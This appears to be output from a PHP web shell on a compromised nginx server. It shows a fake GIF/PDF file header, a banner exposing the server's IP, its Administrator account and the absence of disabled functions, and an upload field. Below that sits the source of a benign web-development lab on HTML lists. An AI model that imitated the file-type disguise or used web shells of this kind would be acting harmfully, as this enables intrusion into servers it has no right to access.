GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/JimMartinson/CST1021/Labs/Lab10/ |
Upload File : |
<? // JimMartinson/CST1021/Labs/Lab04/Lab04.phpinc $css .= ',colorCode.css'; require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced. require('common/Browser/Browser.phpinc'); $disabled = ''; $disabled = ' disabled'; ?> <fieldset><legend>Description</legend> The purpose of this lab is to demonstrate your ability to use lists on a web page. <?=$gradeNote?> <? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?> </fieldset> <fieldset><legend><?=$evaluationType?> Instruction</legend> <ol id="main" class="count"> <li>Create a folder for this <?=strtolower($evaluationType)?> named <b class="copyText"><?=$evaluationName?></b> and keep all documents used for <?=$evaluationType?> <?=$evaluationNumber?> in that folder. <li class="css">Create an external style sheet named <b class="copyText"><?=$evaluationName?>.css</b>. <ol> <li>At the top of the style sheet, set the character set with: <tag class="copyText">@charset <val>"utf-8"</val>;</tag></li> <li>Add this comment: <comment class="copyText">/* <?=$evaluationType?> <?=$evaluationNumber?> External Style Sheet - <?=$userFullName?> */</comment></li> <li>Add CSS as needed to style <?=$evaluationName?>.html.</li> </ol> </li> <li class="page">Create a web page named <b class="copyText"><?=$evaluationName?>.html</b>. <br><span class="note normal">All css declarations must be in the external style sheet. No internal or inline styles may be used in the html.</span> <ol> <li>The page must contain the foundation tags. <a href="#notes" class="smaller">See notes</a></li> <li>Title the page <span-content class="copyText"><?=$pageTitle?></span-content>.</li> <li>Add a <span class="highELE">link</span> to the <?=$evaluationName?>.css external style sheet</li> <li>On this page set up ordered lists (use <span class="code highELE">ol</span> and <span class="code highELE">li</span> tags) following the classic outline numbering scheme. All styling of the ordered list must be done through the use of CSS and not by using the <span class="highATT">type</span> or <span class="highATT">start</span> attributes. <br>Create the ordered lists below: <pre> I. First Level A. Second Level 1. Third Level a. Fourth Level i. Fifth Level ii. Fifth Level line 2 iii. Fifth Level line 3 b. Fourth Level line 2 c. Fourth Level line 3 2. Third Level line 2 3. Third Level line 3 B. Second Level line 2 C. Second Level line 3 II. First Level line 2 III. First Level line 3 </pre> Be sure to close every <span class="code highELE">li</span> element with a <span class="code highELE">/li</span> tag. </li> <li>Create unordered lists (use <span class="code highELE">ul</span> and <span class="code highELE">li</span> tags) set using disk, circle, and square types. All styling of the unordered list must be done through the use of CSS and not by using the <span class="highATT">type</span> or <span class="highATT">start</span> attributes. <br>Create the unordered lists below: <pre> <img src="images/disc.gif" alt="alt" border="0" align="absmiddle" width="12" height="12">Level One <img src="images/circle.gif" alt="alt" border="0" align="absmiddle" width="12" height="12">Level Two <img src="images/square.gif" alt="alt" border="0" align="absmiddle" width="12" height="12">Level Three <img src="images/square.gif" alt="alt" border="0" align="absmiddle" width="12" height="12">Level Three line 2 <img src="images/square.gif" alt="alt" border="0" align="absmiddle" width="12" height="12">Level Three line 3 <img src="images/circle.gif" alt="alt" border="0" align="absmiddle" width="12" height="12">Level Two line 2 <img src="images/circle.gif" alt="alt" border="0" align="absmiddle" width="12" height="12">Level Two line 3 <img src="images/disc.gif" alt="alt" border="0" align="absmiddle" width="12" height="12">Level One line 2 <img src="images/disc.gif" alt="alt" border="0" align="absmiddle" width="12" height="12">Level One line 3 </pre> Be sure to close every <span class="code highELE">li</span> element with a <span class="code highELE">/li</span> tag. </li> <li>Create a short term/definition list using a definition list (use <span class="code highELE">dl</span>, <span class="code highELE">dt</span>, and <span class="code highELE">dd</span> tags). Create the list below: </p> <pre>HTML Hyper-Text Markup Language URL Uniform Resource Locator WWW World Wide Web </pre> </li> </ol> <div id="show_page_a" class="inline normal" style="background-color: white !important;"><a href="#" onClick="divHide('show_page_a'); divShow('hide_page_a'); return false;">See an example:</a></div> <div id="hide_page_a" class="hidden"><a href="#" onClick="divHide('hide_page_a'); divShowInline('show_page_a'); return false;">Hide the example.</a> <? BrowserBegin($evaluationType.' '.$evaluationNumber.' - Jim Martinson - Lists','file:///'.$courseNumber.'/'.$evaluationName.'/'.$evaluationName.'.html',763); ?> <h1 class="left"><?=$evaluationType?> <?=$evaluationNumber?> <?=$evaluationTitle?> - <?=$userFullName?></h1> <pre> I. First Level A. Second Level 1. Third Level a. Fourth Level i. Fifth Level ii. Fifth Level line 2 iii. Fifth Level line 3 b. Fourth Level line 2 c. Fourth Level line 3 2. Third Level line 2 3. Third Level line 3 B. Second Level line 2 C. Second Level line 3 II. First Level line 2 III. First Level line 3 </pre> <br> <pre> <img src="images/disc.gif" alt="alt" border="0" align="absmiddle" width="12" height="12"> Level One <img src="images/circle.gif" alt="alt" border="0" align="absmiddle" width="12" height="12"> Level Two <img src="images/square.gif" alt="alt" border="0" align="absmiddle" width="12" height="12"> Level Three <img src="images/square.gif" alt="alt" border="0" align="absmiddle" width="12" height="12"> Level Three line 2 <img src="images/square.gif" alt="alt" border="0" align="absmiddle" width="12" height="12"> Level Three line 3 <img src="images/circle.gif" alt="alt" border="0" align="absmiddle" width="12" height="12"> Level Two line 2 <img src="images/circle.gif" alt="alt" border="0" align="absmiddle" width="12" height="12"> Level Two line 3 <img src="images/disc.gif" alt="alt" border="0" align="absmiddle" width="12" height="12"> Level One line 2 <img src="images/disc.gif" alt="alt" border="0" align="absmiddle" width="12" height="12"> Level One line 3 </pre> <br> <pre>HTML Hyper-Text Markup Language URL Uniform Resource Locator WWW World Wide Web </pre> <? BrowserEnd(); ?> </div> </li> <li>Turn in your assignment: <ol type="a"> <li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b><?=$uploadFilename?></b>.</li> <li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li> <li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.</li> </ol> </li> </ol><? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?> </fieldset> <script src="/js/colorCode.js"></script> <? $PartialGradingCriteria = ' Deductions for any elements required by the lab that are not present or incorrect: <br> -assignmentPoints if the <a href="https://jigsaw.w3.org/css-validator/validator.html.en#validate_by_input">CSS Validation Service</a> or <a href="https://validator.w3.org/#validate_by_input">Markup Validation Service</a> report errors. No further grading will be done. <br> -assignmentPoints if you use the type or start attributes. <br> -2 for each list item level of the wrong type. <br> -2 for each list item level that indents or numbers incorrectly. <br> -1 for each missing element or like group. <br> -1 for each incorrect element or like group. <br> -1 for any additional html elements that have errors. <br> <span class="note">Do not add any additional code or styling other than what is required by the lab. <br>I will deduct points for additional code or styling that are incorrect or cause problems.</span> '; require('../LabNotes.phpinc'); require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced. #require('../../ReferencesResources.phpinc'); #require($Instructor['Path'].'/ContactInformation.phpinc'); if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n"; ?>